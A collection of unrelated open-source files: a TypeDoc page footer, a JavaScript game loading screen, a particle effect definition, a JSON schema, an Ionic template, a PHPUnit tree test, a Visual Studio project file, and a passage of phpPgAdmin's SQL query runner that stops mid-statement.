<a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module tsd-is-external"> <a href="_comps_entry_loginpanel_.html">"comps/entry/<wbr>Login<wbr>Panel"</a> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> <li class=" tsd-kind-class tsd-parent-kind-external-module tsd-is-external"> <a href="../classes/_comps_entry_loginpanel_.loginpanel.html" class="tsd-kind-icon">Login<wbr>Panel</a> </li> <li class=" tsd-kind-class tsd-parent-kind-external-module tsd-is-external"> <a href="../classes/_comps_entry_loginpanel_.user.html" class="tsd-kind-icon">User</a> </li> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="http://typedoc.io" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
/** * loadingScreen.js * _____________________________________________________________________________ * * @author William Malone (www.williammalone.com) */ /*global window, BLOCKS, Image */ BLOCKS.loadingScreen = function (spec, game) { "use strict"; var loadingScreen = BLOCKS.eventDispatcher(), clock, bg, layers, progressBar, curPercentage = 0, fontFamily = "Arial,sans", animation, fontSize = "24px", fontWeight = "bold", fontColor = "#eee", messageX = 0, messageY = 0, messageText = "loading... ", progressBarImageLoaded, destroyed, loadAnimation = function () { if (spec.animation) { spec.bg.image = game.imageLoader.loadNow(spec.animation); spec.bg.image.onload = animationLoaded; } }, animationLoaded = function () { if (!destroyed) { if (spec.bg.image.width !== 0 && spec.bg.image.height !== 0) { prepare(); if (progressBar) { loadingScreen.loaded = true; loadingScreen.dispatchEvent("loaded"); } } else { if (!destroyed) { window.setTimeout(bgLoaded, 10); } } } }, loadBg = function () { if (spec.bg) { spec.bg.image = game.imageLoader.loadNow(spec.bg); spec.bg.image.onload = bgLoaded; } }, bgLoaded = function () { if (!destroyed) { if (spec.bg.image.width !== 0 && spec.bg.image.height !== 0) { prepare(); if (progressBar) { loadingScreen.loaded = true; loadingScreen.dispatchEvent("loaded"); } } else { if (!destroyed) { window.setTimeout(bgLoaded, 10); } } } }, loadBar = function () { if (spec.progressBar) { spec.progressBar.image = game.imageLoader.loadNow(spec.progressBar); spec.progressBar.image.onload = barLoaded; } }, barLoaded = function () { if (!destroyed) { if (spec.progressBar.image.width !== 0 && spec.progressBar.image.height !== 0) { progressBarImageLoaded = true; if (layers && layers.loading) { createProgressBar(); } if (bg) { loadingScreen.loaded = true; loadingScreen.dispatchEvent("loaded"); } } else { if (!destroyed) { window.setTimeout(barLoaded, 10); } } } }, createAnimation = function () { if (!animation) { spec.animation.layer = layers.loading; animation = BLOCKS.slice(spec.animation); animation.x = spec.animation.x; animation.y = spec.animation.y; loadingScreen.dirty = true; } }, createProgressBar = function () { if (!progressBar) { spec.progressBar.layer = layers.loading; progressBar = BLOCKS.slice(spec.progressBar); progressBar.x = spec.progressBar.x; progressBar.y = spec.progressBar.y; loadingScreen.dirty = true; } }, load = function () { layers = { loadingBg: game.addLayer("loadingBg", { enableWebGL: false }), loading: game.addLayer("loading") }; loadBg(); loadBar(); loadAnimation(); }, prepare = function () { if (!destroyed) { bg = BLOCKS.slice({ layer: layers.loadingBg, image: spec.bg.image }); // If the progress bar is ready to be created and was not already created if (progressBarImageLoaded && !progressBar) { createProgressBar(); } // If the animation is ready to be created and was not already created if (spec.animation && !animation) { createAnimation(); } clock = BLOCKS.clock(); clock.addEventListener("tick", function () { update(); render(); }); clock.start(); loadingScreen.dirty = true; } }, update = function () { bg.update(); if (progressBar) { progressBar.update(); } if (animation) { animation.update(); } }, render = function () { if (loadingScreen.dirty || bg.dirty || (animation && animation.dirty) || (progressBar && progressBar.dirty)) { layers.loading.clear(); bg.dirty = true; if (progressBar) { progressBar.cropWidth = progressBar.width * curPercentage; progressBar.dirty = true; } if (animation) { animation.dirty = true; } bg.render(game); layers.loading.ctx.fillStyle = fontColor; layers.loading.ctx.font = fontWeight + " " + fontSize + " " + fontFamily; layers.loading.ctx.textAlign = "right"; layers.loading.ctx.fillText(messageText, messageX, messageY); layers.loading.ctx.textAlign = "left"; layers.loading.ctx.fillText(Math.round(curPercentage * 100, 10) + "%", messageX, messageY); if (progressBar) { progressBar.render(game); } if (animation) { animation.render(game); } } loadingScreen.dirty = false; }; loadingScreen.dirty = true; loadingScreen.destroy = function () { destroyed = true; if (clock) { clock.destroy(); if (layers) { game.removeLayer("loadingBg"); game.removeLayer("loading"); } bg.destroy(); bg = null; if (progressBar) { progressBar.destroy(); progressBar = null; } if (animation) { animation.destroy(); animation = null; } } loadingScreen = null; }; loadingScreen.setProgress = function (loaded, total) { var percentage = loaded / total; if (curPercentage !== percentage) { curPercentage = percentage; loadingScreen.dirty = true; } }; if (spec.message) { if (spec.message.fontFamily) { fontFamily = spec.message.fontFamily; } if (spec.message.fontSize) { fontSize = spec.message.fontSize.toString().replace("px", "") + "px"; } if (spec.message.fontWeight) { fontWeight = spec.message.fontWeight; } if (spec.message.fontColor) { fontColor = spec.message.fontColor; } if (spec.message.x) { messageX = spec.message.x; } if (spec.message.y) { messageY = spec.message.y; } if (spec.message.text) { messageText = spec.message.text; } } load(); return loadingScreen; };
{ "pile_set_name": "Github" }
<!-- kv3 encoding:text:version{e21c7f3c-8a33-41c5-9977-a76d3a32aa0d} format:generic:version{7412167c-06e9-4698-aff2-e63eb59037e7} --> { _class = "CParticleSystemDefinition" m_bShouldHitboxesFallbackToRenderBounds = false m_nMaxParticles = 128 m_nConstantSequenceNumber = 7 m_Renderers = [ { _class = "C_OP_RenderTrails" m_nSequenceCombineMode = "SEQUENCE_COMBINE_MODE_USE_SEQUENCE_0" m_bAdditive = true m_hTexture = resource:"materials/particle/particle_glow_02.vtex" m_flLengthFadeInTime = 0.200000 m_flRadiusScale = 0.500000 m_flFinalTextureScaleV = -1.000000 m_flFinalTextureOffsetV = 1.000000 m_vEndTrailTintFactor = [ 1.000000, 0.500000, 0.500000, 0.500000, ] }, ] m_Operators = [ { _class = "C_OP_BasicMovement" m_fDrag = 0.050000 m_Gravity = [ 0.000000, 0.000000, 150.000000, ] }, { _class = "C_OP_InterpolateRadius" m_flStartScale = 0.000000 }, { _class = "C_OP_LockToBone" m_flLifeTimeFadeStart = 1.000000 m_flLifeTimeFadeEnd = 1.000000 }, { _class = "C_OP_Decay" }, { _class = "C_OP_FadeOutSimple" m_flFadeOutTime = 0.650000 }, ] m_Initializers = [ { _class = "C_INIT_RandomColor" m_ColorMin = [ 0, 255, 127, 255, ] m_ColorMax = [ 85, 170, 0, 255, ] }, { _class = "C_INIT_RandomLifeTime" m_fLifetimeMin = 0.525000 m_fLifetimeMax = 0.530000 }, { _class = "C_INIT_RandomRotation" }, { _class = "C_INIT_RandomRadius" m_flRadiusMin = 26.000000 m_flRadiusMax = 30.000000 }, { _class = "C_INIT_RandomAlpha" m_nAlphaMax = 110 m_nAlphaMin = 80 }, { _class = "C_INIT_CreateOnModel" m_flHitBoxScale = 1.100000 }, { _class = "C_INIT_RandomYawFlip" }, { _class = "C_INIT_InitialVelocityNoise" m_vecOutputMax = [ 64.000000, 64.000000, 46.000000, ] m_vecOutputMin = [ -64.000000, -64.000000, -64.000000, ] }, { _class = "C_INIT_RandomTrailLength" m_flMaxLength = 0.200000 m_flMinLength = 0.200000 }, ] m_Emitters = [ { _class = "C_OP_ContinuousEmitter" m_flEmitRate = 150.000000 }, ] m_ForceGenerators = [ { _class = "C_OP_AttractToControlPoint" m_fForceAmount = -1800.000000 m_fFalloffPower = 0.000000 m_nControlPointNumber = 1 }, ] }
{ "pile_set_name": "Github" }
{ "$schema" : "http://json-schema.org/draft-01/hyper-schema#", "id" : "http://json-schema.org/draft-01/hyper-schema#", "properties" : { "links" : { "type" : "array", "items" : {"$ref" : "http://json-schema.org/draft-01/links#"}, "optional" : true }, "fragmentResolution" : { "type" : "string", "optional" : true, "default" : "dot-delimited" }, "root" : { "type" : "boolean", "optional" : true, "default" : false }, "readonly" : { "type" : "boolean", "optional" : true, "default" : false }, "pathStart" : { "type" : "string", "optional" : true, "format" : "uri" }, "mediaType" : { "type" : "string", "optional" : true, "format" : "media-type" }, "alternate" : { "type" : "array", "items" : {"$ref" : "#"}, "optional" : true } }, "links" : [ { "href" : "{$ref}", "rel" : "full" }, { "href" : "{$schema}", "rel" : "describedby" }, { "href" : "{id}", "rel" : "self" } ], "fragmentResolution" : "dot-delimited", "extends" : {"$ref" : "http://json-schema.org/draft-01/schema#"} }
{ "pile_set_name": "Github" }
<ion-view class="homeView" view-title="Home" hide-nav-bar="true"> <ion-content> <div class="row row-center"> <div class="col col-center text-center"> <h1 class="animated bounceInDown" on-tap="HelloWorld()">Starter</h1> <div id="container" class="animated bounceInLeft" on-tap="showUsers()"> <div id="bender"> <span class="eyes"> <span class="shadow-eyes"></span> <span class="eyesInner"> <span class="eyes-left"> <span class="shadow-eyeInner"></span> <span class="eyelids-left"></span> <span class="iris-left"></span> </span> <span class="eyes-right"> <span class="shadow-eyeInner"></span> <span class="iris-right"></span> </span> <span class="eyelids-right"></span> </span> </span> <span class="mouth"> <span class="shadow-mouth"></span> <ul class="grid-hor"> <li></li> <li></li> <li></li> <li></li> <li></li> </ul> <ul class="grid-ver"> <li></li> <li></li> </ul> </span> </div> </div> <button class="button button-outline button-block button-light animated bounceInUp" ui-sref="app.gallery"> Enter </button> </div> </div> </ion-content> </ion-view>
{ "pile_set_name": "Github" }
<?php use PHPUnit\Framework\TestCase; class TreeTest extends TestCase { protected static $n; protected static $about_node; protected static $blog_node; protected static $contact_node; static function tearDownAfterClass (): void { if (file_exists ('cache/test_tree.json')) { unlink ('cache/test_tree.json'); } } function test_single_node () { self::$n = new Tree ('cache/test_tree.json'); /** * This is the tree on first install, just an index page. */ self::$n->tree = array ( (object) array ( 'data' => 'Home', 'attr' => (object) array ( 'id' => 'index', 'sort' => 0 ) ) ); /** * Should have only one id: * * index */ $this->assertEquals (self::$n->get_all_ids (), array ('index')); } function test_adding_node () { self::$blog_node = (object) array ( 'data' => 'Blog', 'attr' => (object) array ( 'id' => 'blog', 'sort' => 0 ) ); /** * Add blog page with title. */ self::$n->add ('blog', 'index', 'Blog'); /** * Should have second id now: * * index * - blog */ $this->assertEquals (self::$n->get_all_ids (), array ('index', 'blog')); } function test_adding_subnode () { self::$about_node = (object) array ( 'data' => 'About', 'attr' => (object) array ( 'id' => 'about', 'sort' => 0 ) ); /** * Add about page under blog as array. */ self::$n->add (array ( 'data' => 'About', 'attr' => array ( 'id' => 'about', 'sort' => 0 ) ), 'blog'); /** * Should have third id now under blog: * * index * - blog * - about */ $this->assertEquals (self::$n->get_all_ids (), array ('index', 'blog', 'about')); // Make sure about is under blog. $this->assertEquals (self::$n->parent ('about')->attr->id, self::$blog_node->attr->id); } function test_find_node () { // Find the about node and verify it. $this->assertEquals (self::$n->node ('about')->attr->id, self::$about_node->attr->id); } function test_paths () { // Test all paths $this->assertEquals (self::$n->path ('index'), array ('index')); $this->assertEquals (self::$n->path ('blog'), array ('index', 'blog')); $this->assertEquals (self::$n->path ('about'), array ('index', 'blog', 'about')); // Test paths with titles $this->assertEquals (self::$n->path ('blog', true), array ('index' => 'Home', 'blog' => 'Blog')); } function test_sections () { // Test sections $this->assertEquals (self::$n->sections (), array ('index', 'blog')); } function test_remove () { // Remove about and verify. self::$n->remove ('about'); $this->assertFalse (isset (self::$n->node ('blog')->children)); $this->assertNull (self::$n->node ('about')); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'blog')); } function test_remove_with_children () { /** * Add about and remove blog and verify. * * Structure: * * index * - blog * - about */ self::$n->add (self::$about_node, 'blog'); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'blog', 'about')); self::$n->remove ('blog'); $this->assertNull (self::$n->node ('about')); $this->assertNull (self::$n->node ('blog')); $this->assertEquals (self::$n->get_all_ids (), array ('index')); } function test_add_remove () { /** * Add blog to root and verify add/remove root nodes. * * Structure: * * index * about */ self::$about_node = (object) array ( 'data' => 'About', 'attr' => (object) array ( 'id' => 'about', 'sort' => 0 ) ); self::$n->add (self::$about_node); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'about')); $this->assertEquals (self::$n->node ('about')->attr->sort, 1); self::$n->remove ('about'); $this->assertEquals (count (self::$n->tree), 1); } function test_remove_non_recursive () { /** * Add blog and about and contact nodes and test remove() non-recursive. * * Structure: * * index * about * - contact * - blog */ self::$about_node = (object) array ( 'data' => 'About', 'attr' => (object) array ( 'id' => 'about', 'sort' => 0 ) ); self::$contact_node = (object) array ( 'data' => 'Contact', 'attr' => (object) array ( 'id' => 'contact', 'sort' => 0 ) ); self::$blog_node = (object) array ( 'data' => 'Blog', 'attr' => (object) array ( 'id' => 'blog', 'sort' => 0 ) ); self::$n->add (self::$about_node); self::$n->add (self::$contact_node, 'about'); self::$n->add (self::$blog_node, 'about'); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'about', 'contact', 'blog')); self::$n->remove ('about', false); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'contact', 'blog')); $this->assertEquals (self::$n->parent ('contact'), null); $this->assertEquals (self::$n->parent ('blog'), null); self::$n->remove ('contact'); self::$n->remove ('blog'); } function test_remove_path () { /** * Add node in two places and test remove_path(). * * Structure: * * index * - contact * - about * about */ self::$about_node = (object) array ( 'data' => 'About', 'attr' => (object) array ( 'id' => 'about', 'sort' => 0 ) ); self::$contact_node = (object) array ( 'data' => 'Contact', 'attr' => (object) array ( 'id' => 'contact', 'sort' => 0 ) ); self::$n->add (self::$about_node); self::$n->add (self::$contact_node, 'index'); self::$n->add (self::$about_node, 'contact'); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'contact', 'about')); self::$n->remove_path (array ('index', 'contact', 'about')); $contact = self::$n->node ('contact'); $this->assertFalse (isset ($contact->children)); self::$n->remove ('contact'); self::$n->remove ('about'); } function test_move () { /** * Add blog and about and contact nodes and test move(). * * Structure: * * index * - about * - blog * - contact */ self::$about_node = (object) array ( 'data' => 'About', 'attr' => (object) array ( 'id' => 'about', 'sort' => 0 ) ); self::$contact_node = (object) array ( 'data' => 'Contact', 'attr' => (object) array ( 'id' => 'contact', 'sort' => 0 ) ); self::$blog_node = (object) array ( 'data' => 'Blog', 'attr' => (object) array ( 'id' => 'blog', 'sort' => 0 ) ); self::$n->add (self::$about_node, 'index'); self::$n->add (self::$contact_node, 'index'); self::$n->add (self::$blog_node, 'about'); $this->assertEquals (self::$n->get_all_ids (), array ('index', 'about', 'blog', 'contact')); /** * Move contact under about. New structure: * * index * - about * - blog * - contact */ self::$n->move ('contact', 'about'); $this->assertEquals (self::$n->parent ('contact')->attr->id, 'about'); /** * Move contact under blog. New structure: * * index * - about * - blog * - contact */ self::$n->move ('contact', 'blog'); $this->assertEquals (self::$n->parent ('contact')->attr->id, 'blog'); $this->assertEquals (self::$n->parent ('blog')->attr->id, 'about'); $this->assertEquals (self::$n->parent ('about')->attr->id, 'index'); /** * Move blog to top. New structure: * * index * - about * blog * - contact */ self::$n->move ('blog', false); $this->assertEquals (self::$n->parent ('contact')->attr->id, 'blog'); $this->assertEquals (self::$n->parent ('blog'), null); /** * Move blog to after about under index. New structure: * * index * - about * - blog * - contact */ self::$n->move ('blog', 'about', 'after'); $this->assertEquals (self::$n->parent ('blog')->attr->id, 'index'); $this->assertEquals (self::$n->parent ('contact')->attr->id, 'blog'); $this->assertEquals (self::$n->node ('about')->attr->sort, 0); $this->assertEquals (self::$n->node ('blog')->attr->sort, 1); /** * Move blog to after about under index. New structure: * * index * - about * - contact * - blog */ self::$n->move ('contact', 'blog', 'before'); $this->assertEquals (self::$n->parent ('contact')->attr->id, 'index'); $this->assertEquals (self::$n->node ('about')->attr->sort, 0); $this->assertEquals (self::$n->node ('contact')->attr->sort, 1); $this->assertEquals (self::$n->node ('blog')->attr->sort, 2); /** * Move blog to before index. New structure: * * blog * index * - about * - contact */ self::$n->move ('blog', 'index', 'before'); $this->assertEquals (self::$n->parent ('blog'), null); $this->assertEquals (self::$n->node ('blog')->attr->sort, 0); $this->assertEquals (self::$n->node ('index')->attr->sort, 1); /** * Move blog to after index. New structure: * * index * - about * - contact * blog */ self::$n->move ('blog', 'index', 'after'); $this->assertEquals (self::$n->parent ('blog'), null); $this->assertEquals (self::$n->node ('index')->attr->sort, 0); $this->assertEquals (self::$n->node ('blog')->attr->sort, 1); /** * Move index to after blog. New structure: * * blog * index * - about * - contact */ self::$n->move ('index', 'blog', 'after'); $this->assertEquals (self::$n->parent ('blog'), null); $this->assertEquals (self::$n->node ('blog')->attr->sort, 0); $this->assertEquals (self::$n->node ('index')->attr->sort, 1); $this->assertEquals (count (self::$n->node ('index')->children), 2); /** * Move index to before blog. New structure: * * index * - about * - contact * blog */ self::$n->move ('index', 'blog', 'before'); $this->assertEquals (self::$n->parent ('blog'), null); $this->assertEquals (self::$n->node ('index')->attr->sort, 0); $this->assertEquals (self::$n->node ('blog')->attr->sort, 1); $this->assertEquals (count (self::$n->node ('index')->children), 2); } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="Windows-1252"?> <VisualStudioProject ProjectType="Visual C++" Version="7.10" Name="bounds" SccProjectName="" SccLocalPath=""> <Platforms> <Platform Name="Win32"/> </Platforms> <Configurations> <Configuration Name="Debug|Win32" OutputDirectory=".\Debug" IntermediateDirectory=".\Debug" ConfigurationType="1" UseOfMFC="0" ATLMinimizesCRunTimeLibraryUsage="FALSE" CharacterSet="2"> <Tool Name="VCCLCompilerTool" Optimization="0" AdditionalIncludeDirectories=".,$(CG_INC_PATH)" PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" BasicRuntimeChecks="3" RuntimeLibrary="5" UsePrecompiledHeader="2" PrecompiledHeaderFile=".\Debug/bounds.pch" AssemblerListingLocation=".\Debug/" ObjectFile=".\Debug/" ProgramDataBaseFileName=".\Debug/" WarningLevel="3" SuppressStartupBanner="TRUE" DebugInformationFormat="4" CompileAs="0"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" AdditionalDependencies="cgGL.lib cg.lib" OutputFile=".\Debug/bounds.exe" LinkIncremental="1" SuppressStartupBanner="TRUE" AdditionalLibraryDirectories="$(CG_LIB_PATH)" GenerateDebugInformation="TRUE" ProgramDatabaseFile=".\Debug/bounds.pdb" SubSystem="1" TargetMachine="1"/> <Tool Name="VCMIDLTool" TypeLibraryName=".\Debug/bounds.tlb" HeaderFileName=""/> <Tool Name="VCPostBuildEventTool"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool" PreprocessorDefinitions="_DEBUG" Culture="1033"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> <Configuration Name="Release|Win32" OutputDirectory=".\Release" IntermediateDirectory=".\Release" ConfigurationType="1" UseOfMFC="0" ATLMinimizesCRunTimeLibraryUsage="FALSE" CharacterSet="2"> <Tool Name="VCCLCompilerTool" Optimization="2" InlineFunctionExpansion="1" AdditionalIncludeDirectories=".,$(CG_INC_PATH)" PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" StringPooling="TRUE" RuntimeLibrary="4" EnableFunctionLevelLinking="TRUE" UsePrecompiledHeader="2" PrecompiledHeaderFile=".\Release/bounds.pch" AssemblerListingLocation=".\Release/" ObjectFile=".\Release/" ProgramDataBaseFileName=".\Release/" WarningLevel="3" SuppressStartupBanner="TRUE" CompileAs="0"/> <Tool Name="VCCustomBuildTool"/> <Tool Name="VCLinkerTool" AdditionalDependencies="cg.lib cggl.lib" OutputFile=".\Release/bounds.exe" LinkIncremental="1" SuppressStartupBanner="TRUE" AdditionalLibraryDirectories="$(CG_LIB_PATH)" ProgramDatabaseFile=".\Release/bounds.pdb" SubSystem="1" TargetMachine="1"/> <Tool Name="VCMIDLTool" TypeLibraryName=".\Release/bounds.tlb" HeaderFileName=""/> <Tool Name="VCPostBuildEventTool"/> <Tool Name="VCPreBuildEventTool"/> <Tool Name="VCPreLinkEventTool"/> <Tool Name="VCResourceCompilerTool" PreprocessorDefinitions="NDEBUG" Culture="1033"/> <Tool Name="VCWebServiceProxyGeneratorTool"/> <Tool Name="VCXMLDataGeneratorTool"/> <Tool Name="VCWebDeploymentTool"/> <Tool Name="VCManagedWrapperGeneratorTool"/> <Tool Name="VCAuxiliaryManagedWrapperGeneratorTool"/> </Configuration> </Configurations> <References> </References> <Files> <Filter Name="Source Files" Filter="cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"> <File RelativePath="bounds.cpp"> <FileConfiguration Name="Debug|Win32"> <Tool Name="VCCLCompilerTool" Optimization="0" AdditionalIncludeDirectories="" PreprocessorDefinitions="" BasicRuntimeChecks="3"/> </FileConfiguration> <FileConfiguration Name="Release|Win32"> <Tool Name="VCCLCompilerTool" Optimization="2" AdditionalIncludeDirectories="" PreprocessorDefinitions=""/> </FileConfiguration> </File> </Filter> <Filter Name="Header Files" Filter="h;hpp;hxx;hm;inl"> </Filter> <Filter Name="Resource Files" Filter="ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"> </Filter> </Files> <Globals> </Globals> </VisualStudioProject>
{ "pile_set_name": "Github" }
<?php /** * Process an arbitrary SQL query - tricky! The main problem is that * unless we implement a full SQL parser, there's no way of knowing * how many SQL statements have been strung together with semi-colons * @param $_SESSION['sqlquery'] The SQL query string to execute * * $Id: sql.php,v 1.43 2008/01/10 20:19:27 xzilla Exp $ */ global $lang; // Prevent timeouts on large exports (non-safe mode only) if (!ini_get('safe_mode')) set_time_limit(0); // Include application functions include_once('./libraries/lib.inc.php'); /** * This is a callback function to display the result of each separate query * @param ADORecordSet $rs The recordset returned by the script execetor */ function sqlCallback($query, $rs, $lineno) { global $data, $misc, $lang, $_connection; // Check if $rs is false, if so then there was a fatal error if ($rs === false) { echo htmlspecialchars($_FILES['script']['name']), ':', $lineno, ': ', nl2br(htmlspecialchars($_connection->getLastError())), "<br/>\n"; } else { // Print query results switch (pg_result_status($rs)) { case PGSQL_TUPLES_OK: // If rows returned, then display the results $num_fields = pg_numfields($rs); echo "<p><table>\n<tr>"; for ($k = 0; $k < $num_fields; $k++) { echo "<th class=\"data\">", $misc->printVal(pg_fieldname($rs, $k)), "</th>"; } $i = 0; $row = pg_fetch_row($rs); while ($row !== false) { $id = (($i % 2) == 0 ? '1' : '2'); echo "<tr class=\"data{$id}\">\n"; foreach ($row as $k => $v) { echo "<td style=\"white-space:nowrap;\">", $misc->printVal($v, pg_fieldtype($rs, $k), array('null' => true)), "</td>"; } echo "</tr>\n"; $row = pg_fetch_row($rs); $i++; }; echo "</table><br/>\n"; echo $i, " {$lang['strrows']}</p>\n"; break; case PGSQL_COMMAND_OK: // If we have the command completion tag if (version_compare(phpversion(), '4.3', '>=')) { echo htmlspecialchars(pg_result_status($rs, PGSQL_STATUS_STRING)), "<br/>\n"; } // Otherwise if any rows have been affected elseif ($data->conn->Affected_Rows() > 0) { echo $data->conn->Affected_Rows(), " {$lang['strrowsaff']}<br/>\n"; } // Otherwise output nothing... break; case PGSQL_EMPTY_QUERY: break; default: break; } } } // We need to store the query in a session for editing purposes // We avoid GPC vars to avoid truncating long queries if (isset($_REQUEST['subject']) && $_REQUEST['subject'] == 'history') { // Or maybe we came from the history popup $_SESSION['sqlquery'] = $_SESSION['history'][$_REQUEST['server']][$_REQUEST['database']][$_GET['queryid']]['query']; } elseif (isset($_POST['query'])) { // Or maybe we came from an sql form $_SESSION['sqlquery'] = $_POST['query']; } else { echo "could not find the query!!"; } // Pagination maybe set by a get link that has it as FALSE, // if that's the case, unset the variable. if (isset($_REQUEST['paginate']) && $_REQUEST['paginate'] == 'f') { unset($_REQUEST['paginate']); unset($_POST['paginate']); unset($_GET['paginate']); } // Check to see if pagination has been specified. In that case, send to display // script for pagination /* if a file is given or the request is an explain, do not paginate */ if (isset($_REQUEST['paginate']) && !(isset($_FILES['script']) && $_FILES['script']['size'] > 0) && (preg_match('/^\s*explain/i', $_SESSION['sqlquery']) == 0)) { include('./display.php'); exit; } $subject = isset($_REQUEST['subject'])? $_REQUEST['subject'] : ''; $misc->printHeader($lang['strqueryresults']); $misc->printBody(); $misc->printTrail('database'); $misc->printTitle($lang['strqueryresults']); // Set the schema search path if (isset($_REQUEST['search_path'])) { if ($data->setSearchPath(array_map('trim',explode(',',$_REQUEST['search_path']))) != 0) { $misc->printFooter(); exit; } } // May as well try to time the query if (function_exists('microtime')) { list($usec, $sec) = explode(' ', microtime()); $start_time = ((float)$usec + (float)$sec); } else $start_time = null; // Execute the query. If it's a script upload, special handling is necessary if (isset($_FILES['script']) && $_FILES['script']['size'] > 0) $data->executeScript('script', 'sqlCallback'); else { // Set fetch mode to NUM so that duplicate field names are properly returned $data->conn->setFetchMode(ADODB_FETCH_NUM); $rs = $data->conn->Execute($_SESSION['sqlquery']); // $rs will only be an object if there is no error if (is_object($rs)) { // Request was run, saving it in history if(!isset($_REQUEST['nohistory'])) $misc->saveScriptHistory($_SESSION['sqlquery']); // Now, depending on what happened do various things // First, if rows returned, then display the results if ($rs->recordCount() > 0) { echo "<table>\n<tr>"; foreach ($rs->fields as $k => $v) { $finfo = $rs->fetchField($k); echo "<th class=\"data\">", $misc->printVal($finfo->name), "</th>"; } echo "</tr>\n"; $i = 0; while (!$rs->EOF) { $id = (($i % 2) == 0 ? '1' : '2'); echo "<tr class=\"data{$id}\">\n"; foreach ($rs->fields as $k => $v) { $finfo = $rs->fetchField($k); echo "<td style=\"white-space:nowrap;\">", $misc->printVal($v, $finfo->type, array('null' => true)), "</td>"; } echo "</tr>\n"; $rs->moveNext(); $i++; } echo "</table>\n"; echo 